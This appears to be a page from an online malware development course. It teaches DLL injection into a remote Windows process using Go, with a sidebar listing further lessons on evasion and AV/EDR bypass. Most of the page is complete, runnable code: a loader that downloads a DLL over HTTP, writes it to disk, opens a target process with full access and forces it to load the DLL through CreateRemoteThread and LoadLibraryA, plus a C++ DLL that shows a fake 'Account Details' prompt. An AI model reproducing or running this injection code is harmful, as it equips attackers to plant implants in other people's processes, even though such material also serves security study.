Malware Development
  • Golang Malware Development
  • Malware Development In Golang - Introduction
    • Golang Programming Intro
      • 1. Preparing the Go Environment
      • 2. Hello World
      • 3. Calling MessageBox winAPI from GO
      • 4. Shellcode Runner
  • Code Injection Techniques
    • Shellcode Injection
      • 1. Classic Shellcode Injection
      • 2. Process Hollowing
      • 3. QueueUserAPC
    • DLL Injection
      • 1. Dll Injection
      • 2. Reflective DLL Injection
  • Payloads
    • Payloads
      • 1. Basic DLL using Golang
      • 2. Malicious DLL using Golang
      • 3. Malicious XLL using Golang
    • Shellcode development
      • 1. Keystone Engine
      • 2. Windows x64 Shellcode Development intro
      • 3. Transforming DLLs into Shellcode
  • Evasion
    • AV Bypass
      • 1. Introduction
      • 2. Remove the shellcode from the payload
      • 3. Delay Execution
        • 1. time.Sleep() 1/2
        • 2. time.Sleep() 2/2
        • 3. Custom Sleep function
      • 4. XOR Encryption
      • 5. AMSI Bypass
    • EDR Bypass
      • 1. Setting up a testing environment
      • 2. Userland Hooks
        • 1. What are userland hooks?
        • 2. Load a fresh copy of the dll from disk
        • 3. Programmatically detect ntdll hooks
        • 4. Direct and Indirect Syscalls (shellcode runner)
      • 3. VPN abuse for Endpoint Protection Evasion
        • 1. Global Protect Abuse 1/2
        • 2. Global Protect Abuse 2/2
Powered by GitBook
On this page
  • Download dll from a remote host
  • Write it to disk (current working directory)
  • OpenProcess
  • Allocating memory on remote process
  • Writing dll path to remote process
  • Get the address LoadLibraryA
  • Create Remote Thread
  • DLL Code
  • Complete Code

Was this helpful?

  1. Code Injection Techniques
  2. DLL Injection

1. Dll Injection

#processinjection #dllinjection #golang #maldev #malwaredevelopment

Last updated 1 year ago

Was this helpful?

A fairly common technique when it comes code injection is dll injection. All major c2 frameworks are using this technique when a command such as migrate is used. When a c2 migrates from one process to another, although it's seamless to the operator, it usually injects the implant dll into the remote process and kills the current implant session.

In this post we will explore how we can inject a dll to a remote process.

The following steps will be performed in the following code:

  • CreateRemoteThread

Let's dive into the code:

Download dll from a remote host

It is fairly easy to issue a get request and download the remote file into a byte slice in golang. The following function was used.

func wget(url string) ([]byte, error) {
	resp, err := http.Get(url)

	if err != nil {
		return []byte{}, err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)

	if err != nil {
		return []byte{}, err
	}
	return body, nil
}

the wget function receives the URL as an argument and returns the byte slice if successful or an error if it fails

This is how the code is called from the main function:

	sc, err := wget("http://127.0.0.1/hello.dll")
	if err != nil {
		log.Fatalf("[FATAL] Unable to connect to the host %v ", err)
	}

Write it to disk (current working directory)

This technique will not reflectively load the dll. The dll will be written to disk first and then it will be loaded the remote process.

	// Write file to disk
	path, err := os.Getwd()
	if err != nil {
		log.Println(err)
	}
	fmt.Printf("[+] Current Directory: %s\n", path)
	fname := path + "\\hello.dll"

	fnameBytes := []byte(fname)
	err = os.WriteFile(fname, sc, 0644)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write file %s ", fname)
	}
	fmt.Printf("[+] Writing file: %s\n", fname)

The dll will be stored in the current working directory

  • fnameBytes turns the path string to a byte slice

OpenProcess

To get a handle on the remote process the OpenProcess winapi will be used.

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
  • dwDesiredAccess: This is defined by the rest of the APIs that we will use.

    • VirtualAllocEX -> PROCESS_VM_OPERATION

    • WriteProcessMemory -> PROCESS_VM_WRITE and PROCESS_VM_OPERATION

    • CreateRemoteThread -> PROCESS_CREATE_THREAD, PROCESS_QUERY_INFORMATION, PROCESS_VM_OPERATION, PROCESS_VM_WRITE, and PROCESS_VM_READ

    • Alternatively we can use PROCESS_ALL_ACCESS for convenience

  • bInheritHandle: Will be set to false

  • dwProcessId: Will be the ID of the process to get a handle on

Luckily the OpenProcess API is part of the windows package

	pid := uint32(12240)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)

Allocating memory on remote process

VirtuallAllocEx will be used for allocating memory for the dll path in the remote memory.

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
  • hProcess: Process Handle returned by the OpenProcess API

  • lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0

  • dwSize: Will be the size of our shellcode

  • flAllocationType: We need to reserve and commit memory

  • flProtect: This can be done in a number of ways. To write and execute shellcode we will need rwx permissions. It is however unusual for legitimate programs to allocate memory with rwx permissions and it is usually flagged my AV engines. Another option is to assign rx or rw and then change permissions as needed for writing and executing with VirtualProtectEx or WriteProcessMemory.

	// Allocate memory on remote process
	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(fnameBytes)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_EXECUTE_READ))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)

Writing dll path to remote process

WriteProcessMemory winapi will be used to write the dll path to the remote memory

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
  • hProcess: Process Handle returned by the OpenProcess API

  • lpBaseAddress: Value returned from VirtualAllocEx

  • lpBuffer: A pointer to the beginning of our shellcode byte array

  • nSize: Size of our shellcode

  • lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address

// Write to remote memory
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, 
					addr, 
					&fnameBytes[0], 
					uintptr(len(fnameBytes)), 
					&numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(fnameBytes))

line 5: Pass the dll path byte slice

Get the address LoadLibraryA

	// Get address of loadLibraryA
	procLoadLibraryA := modKernel32.NewProc("LoadLibraryA")

Create Remote Thread

CreateRemoteThread API will be used to create a thread and run the shellcode.

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
HMODULE LoadLibraryA(
  [in] LPCSTR lpLibFileName
);

Only three parameters will be used and the rest will be set to null

  • hProcess: Process Handle returned by the OpenProcess API

  • lpStartAddress: The address of LoadLibraryA will be passed

  • lpParameter: LoadLibraryA only accepts one parameter so we pass the address returned by VirtualAllocEx where the path of the dll resides

  • lpThreadId: Returns the newly created threadID

	// CreateProcess to Load the DLL
	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		procLoadLibraryA.Addr(),
		addr,
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)

DLL Code

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include "windows.h"

void payload()
{
    MessageBox(
        NULL,
        (LPCWSTR)L"Resource not available\nDo you want to try again?",
        (LPCWSTR)L"Account Details",
        MB_ICONWARNING | MB_CANCELTRYCONTINUE | MB_DEFBUTTON2
    );
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        payload();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Complete Code

package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"syscall"
	"unsafe"

	"golang.org/x/sys/windows"
)

func main() {
	pid := uint32(18080)
	PROCESS_ALL_ACCESS := windows.STANDARD_RIGHTS_REQUIRED | windows.SYNCHRONIZE | 0xFFFF

	//dll pops a messagebox
	sc, err := wget("http://127.0.0.1/hello.dll")
	if err != nil {
		log.Fatalf("[FATAL] Unable to connect to the host %v ", err)
	}

	// Write file to disk
	path, err := os.Getwd()
	if err != nil {
		log.Println(err)
	}
	fmt.Printf("[+] Current Directory: %s\n", path)
	fname := path + "\\hello.dll"

	fnameBytes := []byte(fname)
	err = os.WriteFile(fname, sc, 0644)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write file %s ", fname)
	}
	fmt.Printf("[+] Writing file: %s\n", fname)

	//Get a process handle
	fmt.Printf("[+] Getting a handle on process with pid: %d\n", pid)
	pHandle, err := windows.OpenProcess(uint32(PROCESS_ALL_ACCESS), false, pid)
	if err != nil {
		log.Fatalf("[FATAL] Unable to get a handle on process with id: %d : %v ", pid, err)
	}

	fmt.Printf("[+] Obtained a handle 0x%x on process with ID: %d\n", pHandle, pid)

	// Allocate memory on remote process
	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(fnameBytes)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_EXECUTE_READ))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)
	
	// Write to remote memory
	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(pHandle, addr, &fnameBytes[0], uintptr(len(fnameBytes)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Unable to write shellcode to the the allocated address")
	}
	fmt.Printf("[+] Wrote %d/%d bytes to destination address\n", numberOfBytesWritten, len(fnameBytes))

	// Get address of loadLibraryA
	procLoadLibraryA := modKernel32.NewProc("LoadLibraryA")

	// CreateProcess to Load the DLL
	procCreateRemoteThread := modKernel32.NewProc("CreateRemoteThread")
	var threadId uint32 = 0
	tHandle, _, lastErr := procCreateRemoteThread.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(0),
		procLoadLibraryA.Addr(),
		addr,
		uintptr(0),
		uintptr(unsafe.Pointer(&threadId)),
	)
	if tHandle == 0 {
		log.Fatalf("[FATAL] Unable to Create Remote Thread: %v \n", lastErr)
	}

	fmt.Printf("[+] Handle of newly created thread:  0x%x \n[+] Thread ID: %d\n", tHandle, threadId)
	//windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE)
}
func wget(url string) ([]byte, error) {
	resp, err := http.Get(url)

	if err != nil {
		return []byte{}, err
	}

	defer resp.Body.Close()

	body, err := io.ReadAll(resp.Body)

	if err != nil {
		return []byte{}, err
	}
	return body, nil
}

More information on

Download dll from a remote host
Write it to disk (current working directory)
OpenProcess
VirtualAllocEx
WriteProcessMemory
Get address of LoadLibraryA
process security and access rights
Messagebox withing the Notepad process
We can see hello.dll in process hacker
Thread ID 20124: We can see that LoadLibraryA is the start address As expected from our CreateRemoteThread function